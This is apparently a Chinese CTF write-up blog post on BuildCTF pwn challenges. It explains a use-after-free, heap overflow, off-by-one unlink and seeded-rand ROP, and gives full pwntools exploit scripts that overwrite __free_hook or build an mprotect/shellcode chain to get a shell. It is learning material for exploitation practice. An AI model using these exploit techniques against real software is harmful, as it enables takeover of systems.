首页 > 其他分享 >buildctf pwn

buildctf pwn

时间:2024-12-02 15:46:33浏览次数:4  
标签:ru p64 libc buildctf io pwn data lambda

ez_note

有几个功能add,delete,show,edit

  • add按顺序添加节点,且最大只能是0x80
  • delete没有清空指针,有UAF漏洞
  • show输出内容
  • edit,先是输入长度,然后编辑内容,有堆溢出漏洞

这个题目的保护全开,最重要的就是泄露libc的地址,unsorted_bin的头地址是位于libc中的,如果我们有一个unsorted_bin,它的fd,fk指针均指向这个地址,由于UAF漏洞的存在,我们可以输出这样的块。

我们发现这个题目是有tcache的,那么我们就需要填充它,还需要在free的时候有一个unsorted_bin,fastbin的最大范围是0x80;如果我们设置大小为0x80,分配的chunk的大小是0x90,就可以进行泄露了

这里有一个问题,就是这个代码

for i in range(8):
    add(0x79,"chunk"+str(i))
    pass
for i in range(7):
    free(i)
    pass
free(7)
show(7)

当我们gdb时,发现并没有这个unsorted_bin,这是因为它是最后的一个块,且是unsorted_bin那么它靠近topchunk,他就会和topchunk合并,所以我们要多设置一个块,来防止合并

泄露libc以后,就比较简单了,修改块,让其指向我们想要修改的地址,这样我们就可以任意修改,将free_hook修改为system,然后free掉带有bin/sh的块以后,就拿到了shell

exp如下

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

s       = lambda data               :io.send(str(data))
sa      = lambda delim,data         :io.sendafter(str(delim), str(data))
sl      = lambda data               :io.sendline(str(data))
sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(io.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

def duan():
    gdb.attach(io)
    pause()

x64_32 = 1
if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'
io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")

def add(size,content = b'aaaa'):
    ru('choice : > ')
    io.send(str(1))
    ru("The size of this note : ")
    sl(size)
    ru("The content of this note : ")
    io.send(content)
def free(index):
    ru('choice : > ')
    io.send(str(4))
    ru("The index of this note : ")
    io.send(str(index))
def edit(index,size,content):
    ru('choice : > ')
    io.send(str(2))
    ru("The index of this note : ")
    s(index)
    ru("The size of this content : ")
    s(size)
    ru("The content of this note : ")
    io.send(content)
def show(index):
    ru('choice : > ')
    io.send(str(3))
    ru("The index of this note : ")
    s(index)

puts_got = elf.got['printf']
note = elf.sym['note']
leak("puts_got",puts_got)
for i in range(8):
    add(0x79)
    pass
add(0x79,b'/bin/sh\x00')

for i in range(7):
    free(i)
    pass
free(7)
show(7)

ru("note is : ")
libc_beta = uu64(io.recv(6))
leak("libc_beta",libc_beta)
base = libc_beta - 0x1ecbe0

sys = base + libc.sym['system']
free_hook = base + libc.sym["__free_hook"]
edit(6,0x79,p64(free_hook))
leak("free_hook",free_hook)
add(0x79)
add(0x79,p64(sys))
free(8)
itr()

off-by-one

这个题对我来说还是太难了

先来看几个功能

  • add功能,按顺序增加,不限大小,限制0xf个
  • dele功能,先free后置0,没毛病
  • edit功能,发现多读入了一个字节
  • show功能,平平无奇

刚开始就发现了华点,给出了后门及其地址,这样我们就不用泄露pie基址了

先写菜单功能

def add(size,content='aaaa'):
    ru("choise: ")
    sl(1)
    ru("choise the size: ")
    sl(size)
    ru("into this note?")
    sl(1)
    ru("content: ")
    io.sendline(content)
def free0(index):
    ru("choise: ")
    sl(2)
    ru("index: ")
    sl(index)
def edit(index,content='aaaa'):
    ru("choise: ")
    sl(3)
    ru("index: ")
    sl(index)
    ru("edited: ")
    io.send(content)
def show(index):
    ru("choise: ")
    sl(4)
    ru("index: ")
    sl(index)

拿到pie基址以及note地址

io.recvuntil("0x")
gift = int(io.recv(12),16)

base = gift - 0x1289
note_addr = base + 0x4060

这个题的got表不能改,我们可以泄露libc基址,拿到free_hook或者malloc_hook的地址,修改到后门,就能拿到shell

由于我们需要 libc 的基地址,而 unsorted bin 是双向链表有个特性,在只有一个元素的时候 fd 和 bk 都会指向链表的起始位置,而这个其实位置是位于 libc 内的,所以如果知道了这个起始位置,减去其与题目告诉的 libc 的基址的固定偏移量,就可以得到 libc的基址。

而由于这是高版本的 libc,存在一个 tcache 的结构,释放的 0x20到0x420 大小(含堆头)之间的堆并不会直接进入 fastbin 和 unsorted bin,而是会先进入这种长度的 tcache 缓冲区内,每种缓冲区大小最大为7,然后才会进入unsorted bin。所以我们申请的用来合并的堆要能被释放进入unsorted内,大小建议大一些比如 0x450 (含堆头),同时为了防止向后与top chunk合并,应当再申请堆来隔离。

add(0x38,b'chunk0')     # 末位向 8 对齐
add(0x440,b'chunk1')    # 0x440 不进入 tcache
add(0x100,b'chunk2')    # 大于后续所需 py 长度即可
add(0x100,b'chunk3')    # 以防万一隔离下

由于现在不用考虑 PIE 的问题了,并且这题只允许溢出一个字节,可以用来修改下一个堆块的标志位(标志上一个堆块是否被释放),那么我们考虑使用 unlink 技术来满足任意地址的写入的需求:

我们要知道unlink是什么,简单的演示

image-20241028225228285

当需要将second_chunk脱链时,使用unlinksecond_chunk操作。

image-20241028225308522

不难看出,实际上就是双向上链表的删除操作

third->fd = third->fd->fd
first->bk = first->bk->bk

这样就成功脱链

unlink的保护机制

保护1
#define unlink(AV, P, BK, FD) {                                            
    FD = P->fd;								      
    BK = P->bk;								      
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  
    else {								      
        FD->bk = BK;							      
        BK->fd = FD;							      
        ...							      
      }									      
}

大概就是p需要脱链,p的前一个块,它的后指向p,p的后一个块,它的前指针指向p。这样就是为了验证p是不是链表上的块

保护2
if (__builtin_expect(chunksize(P) != prev_size(next_chunk(P)), 0))
    malloc_printerr("corrupted size vs. prev_size");

一个堆块的size保存在两个部分:

堆块头头部字段(size)物理相邻的下一个堆块(prev_size)

这两个数值表示的堆块大小应该相等(注意是表示的而非数值,因为size的低三字节用作控制字段)

保护3
if (!in_smallbin_range(chunksize_nomask(P)) && __builtin_expect(P->fd_nextsize != NULL, 0)) {
    if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0) ||
        __builtin_expect(P->bk_nextsize->fd_nextsize != P, 0))
            malloc_printerr(check_action, "corrupted double-linked list (not small)", P, AV);

如果chunk的大小落在largebin范围内,就会进行对nextsize的检查

我们还要知道unlink的触发时机

在这种双向链表的bin中,如果要free掉一个将会加入该bins的块,那么它会检查字节的size中的prv_inuse字段,如果处于free状态,且在物理状态上也相邻,那么,它们就会合并成一个bin块,且对前一块进行unlink

先申请两个堆,第一个大小需要向 8 对齐,这样才可以修改下一个堆块的presize 大小,同时溢出的那个字节会写到下一个堆块的 size 末尾来修改标志位,然后在第一个堆里构造出一个伪装着已经被释放了的堆,大小为第一个堆减掉一个表头 0x10,fd 指针指向 &note[0]-0x18,bk指针指向 &note[0] - 0x10,满足 unlink 的指针检测,下一个堆块的标志位检测,和下一个堆块的 presize 检测,准备使用 unlink 。

fd = note_addr - 0x18
bk = note_addr - 0x10
payload = p64(0) + p64(0x31) + p64(bk) + p64(fd) + p64(0)*2 + p64(0x30) + b'\x50'
edit(0,payload)
free(1)

我们看执行后的结果

image-20241029221756095

发现notes[0]的值指向了bss段,这样我们将把notes[1]修改指向notes[2],我们就可以输出chunk地址,从而拿到heap地址

这样我们就泄露出了chunk的地址

之后我们需要泄露libc地址,这个我们可以利用之前的unsorted_bin,我们通过输出这个bin就拿到了libc基址,但是我们看bin的结构

image-20241105115416406

发现低位为00,我们需要将其修改,再输出,所以我们将note[1]指向该地址,修改低位以后,再进行输出

chunk0_addr = heap_base + 0x2b0 #调试发现
edit(0,p64(note_addr) + p64(chunk0_addr))
edit(1,b'\x01')
show(1)

之后就是写入backdoor

edit(0,p64(free_hook))
edit(0,p64(sys_addr))

edit(3,b'/bin/sh\x00')
free(3)

完整exp

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

s       = lambda data               :io.send(str(data))
sa      = lambda delim,data         :io.sendafter(str(delim), str(data))
sl      = lambda data               :io.sendline(str(data))
sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(io.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

def duan():
    gdb.attach(io)
    pause()

x64_32 = 1
if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'
io = process("./off-by-one")
elf = ELF("./off-by-one")
libc = ELF("./libc-2.32.so")

def add(size,content='aaaa'):
    ru("choise: ")
    sl(1)
    ru("choise the size: ")
    sl(size)
    ru("into this note?")
    sl(1)
    ru("content: ")
    io.sendline(content)
def free(index):
    ru("choise: ")
    sl(2)
    ru("index: ")
    sl(index)
def edit(index,content='aaaa'):
    ru("choise: ")
    sl(3)
    ru("index: ")
    sl(index)
    ru("edited: ")
    io.send(content)
def show(index):
    ru("choise: ")
    sl(4)
    ru("index: ")
    sl(index)

io.recvuntil("0x")
gift = int(io.recv(12),16)

base = gift - 0x1289
note_addr = base + 0x4060
leak("note_addr",note_addr)
add(0x38,b'chunk0')     # 末位向 8 对齐
add(0x440,b'chunk1')    # 0x440 不进入 tcache
add(0x100,b'chunk2')    # 大于后续所需 py 长度即可
add(0x100,b'chunk3')    # 以防万一隔离下
fd = note_addr - 0x18
bk = note_addr - 0x10
payload = p64(0) + p64(0x31) + p64(fd) + p64(bk) + p64(0)*2 + p64(0x30) + b'\x50'
edit(0,payload)
free(1)

edit(0,b'aaaaaaaa'*3 + p64(note_addr) + p64(note_addr + 8*2))
#duan()
show(1)
heap_base = uu64(io.recv(6)) - 0x730
leak("heap_base",heap_base)

chunk0_addr = heap_base + 0x2b0 #调试发现
edit(0,p64(note_addr) + p64(chunk0_addr))
edit(1,b'\x01')
show(1)
#io.recv()

libc_base = uu64(io.recv(6)) - 0x1e3c01
success(hex(libc_base))
sys_addr = libc_base + libc.sym["system"]
free_hook = libc_base + libc.sym["__free_hook"]
#duan()
edit(0,p64(free_hook))
edit(0,p64(sys_addr))

edit(3,b'/bin/sh\x00')
free(3)
itr()

randbox

import os
import sys
import time
from pwn import *
import ctypes

context.os = 'linux'
context.log_level = "debug"
lib = ctypes.cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
s       = lambda data               :io.send(str(data))
sa      = lambda delim,data         :io.sendafter(str(delim), str(data))
sl      = lambda data               :io.sendline(str(data))
sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(io.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

def duan():
    gdb.attach(io)
    pause()

x64_32 = 1
if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

io = process("./randbox")
elf = ELF("./randbox")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x4015c3
ret = 0x040101a
vuln = 0x401421

seed = lib.time(0)
lib.srand(seed)
ru("Guess what?\n")
number = lib.rand() % 50
io.sendline(str(number))
ru("Ready to hack?\n")
payload = b'a'*(0x20+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)
io.send(payload)
io.recvuntil(b'\n')
puts_addr = uu64(io.recv(6))

libc_base = puts_addr - libc.sym['puts']
mprotect = libc_base + libc.sym['mprotect']
pop_rsi = libc_base+ 0x02be51
pop_rdx_r12 = libc_base + 0x11f2e7
buf = 0x404000 + 0x800

ru("Ready to hack?\n")
payload = b'a'*(0x20+8) + p64(pop_rdi) + p64(0x404000) + p64(pop_rsi) + p64(0x1000)  + p64(pop_rdx_r12) + p64(7) + p64(0) + p64(mprotect) 
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(buf) + p64(pop_rdx_r12) + p64(0x200) + p64(0) + p64(libc_base + libc.sym['read']) + p64(buf)
io.sendline(payload)

payload = asm(shellcraft.cat('/flag'))

io.sendline(payload)
itr()

ret2half

保护

image-20241105161552100

image-20241105161610828

堆题,先看add,画出结构体

标签:ru,p64,libc,buildctf,io,pwn,data,lambda
From: https://www.cnblogs.com/zMeedA/p/18581985

相关文章

  • 2024base新生赛week4pwn——ezstack
    首先检查一下保护,发现基本上没有。然后用ida打开发现,就一个gets函数可以利用。由于没开canary,所以这里可以轻松溢出,但是由于程序只调用了没有输出函数,所以没办法直接泄露函数真实地址,打常规的ret2libc。不过好在程序里有csu函数,还可以打ret2csu。不过还是上面那个原因,不能......
  • Pwn学习路线(Not Finished)
    1、底层代码学习编程基础:Python/C/C++/汇编语言其他知识:计算机组成原理、操作系统、编译原理课程:网易云课堂的“顶尖中文大学计算机专业课程体系”https://study.163.com/curricula/cs.htm2、静态反编译熟练掌握IDA、Radre2等熟练阅读反汇编代码,理解x86、ARM、MIPS二进制......
  • Kali Linux的Pwn环境搭建
    链接指北:1、安装pwntools、gdb等插件参考链接:https://blog.csdn.net/Bossfrank/article/details/1302134562、途中出现以下问题解决方案链接:https://blog.csdn.net/2202_75762088/article/details/134625775#/error:externally-managed-environment×Thisenvironmenti......
  • Pwn 乱刷合集
    栈3※[SHCTF2024]Nostackoverflow2题目附件:考点:ret2libc,libc库查询,整数溢出在linux下使用checksec查看该程序开启的保护,发现Arch为amd64-64-little,这说明这是一个64位的程序,并且采用了小端存储,即低位对应低地址,高位对应高地址。下方的RELRO,这是一......
  • NSSCTF(PWN)10
    [HUBUCTF2022新生赛]singout这题是道签到题,直接nc但是catflag得不到flag我们可以用:1catflag2nl${IFS}f*3tacfla*>&24tacf\lag>&25tail./*6tac${IFS}f*7tac$IFS$9f*8tac./*用这些得到flag[LitCTF2023]狠狠的溢出涅~查看发现是64位文件这道......
  • NSSCTF(PWN)9
    [HDCTF2023]pwnner发现这是一个64位文件发现vuln双击进入我们发现第14行涉及栈溢出,且第7行告诉我们这里伪随机数种子是39,第11行这里涉及随机值判断我们运行写好的c语言,得到这个伪随机数发现这题有system和binsh找到他们exp:frompwnimport*context(os='linux',a......
  • CTF-PWN-ret2shellcode全解
    ##入门级shellcode在平时遇到题目时候我们第一步查看保护,然后再根据反汇编的程序进行判断程序能够用哪种攻击方法入门级的shellcode肯定就是简单的看,但是那种无限制且可以直接执行的就不给大家讲了,那种是非常非常简单的了,首先给大家看一个例题:源码:保护:有新手会问,开启了nx......
  • 菜鸟笔记之PWN入门(1.1.1)汇编语言基础与堆栈入门
    啥是汇编语言?有啥用?深入了解计算机底层,我们会发现,计算机实际上只能执行一些非常基础的操作,但其速度却非常快。计算机的CPU只能执行机器码,即由一系列0和1组成的指令。不同的0和1组合会触发计算机中的不同电路,从而进行各种操作。由于这些0和1的组合很长,阅读起来不方便,因此通常以1......
  • 菜鸟笔记之PWN入门(1.1.3)Linux基础操作和ELF文件保护
    这里不讨论Linux的历史及其与Windows的比较。直接介绍一些简单基础的操作。首先我们需要安装一个Linux操作系统(首先推荐Ubuntu),我们需要安装一个VM虚拟机,然后在里面搭建一个Ubuntu的虚拟机可以直接百度搜索,这里推荐一个文章安装虚拟机(VMware)保姆级教程(附安装包)_vmware虚拟机-......
  • 菜鸟笔记之PWN入门(1.1.2)C程序调用过程与函数栈变化(32位 vs 64位)(Intel)
    本文使用Intel的32位为例子进行举例。64位本质上和32位类似,主要区别在于函数参数的调用方式,文章结尾会简要提及。重新回顾一下栈pop和push指令//将0x50的压入栈push0x50//将esp指向的数据放入指定的寄存器中pop寄存器名字比如:popeax执行之后eax的值就变成了0x50......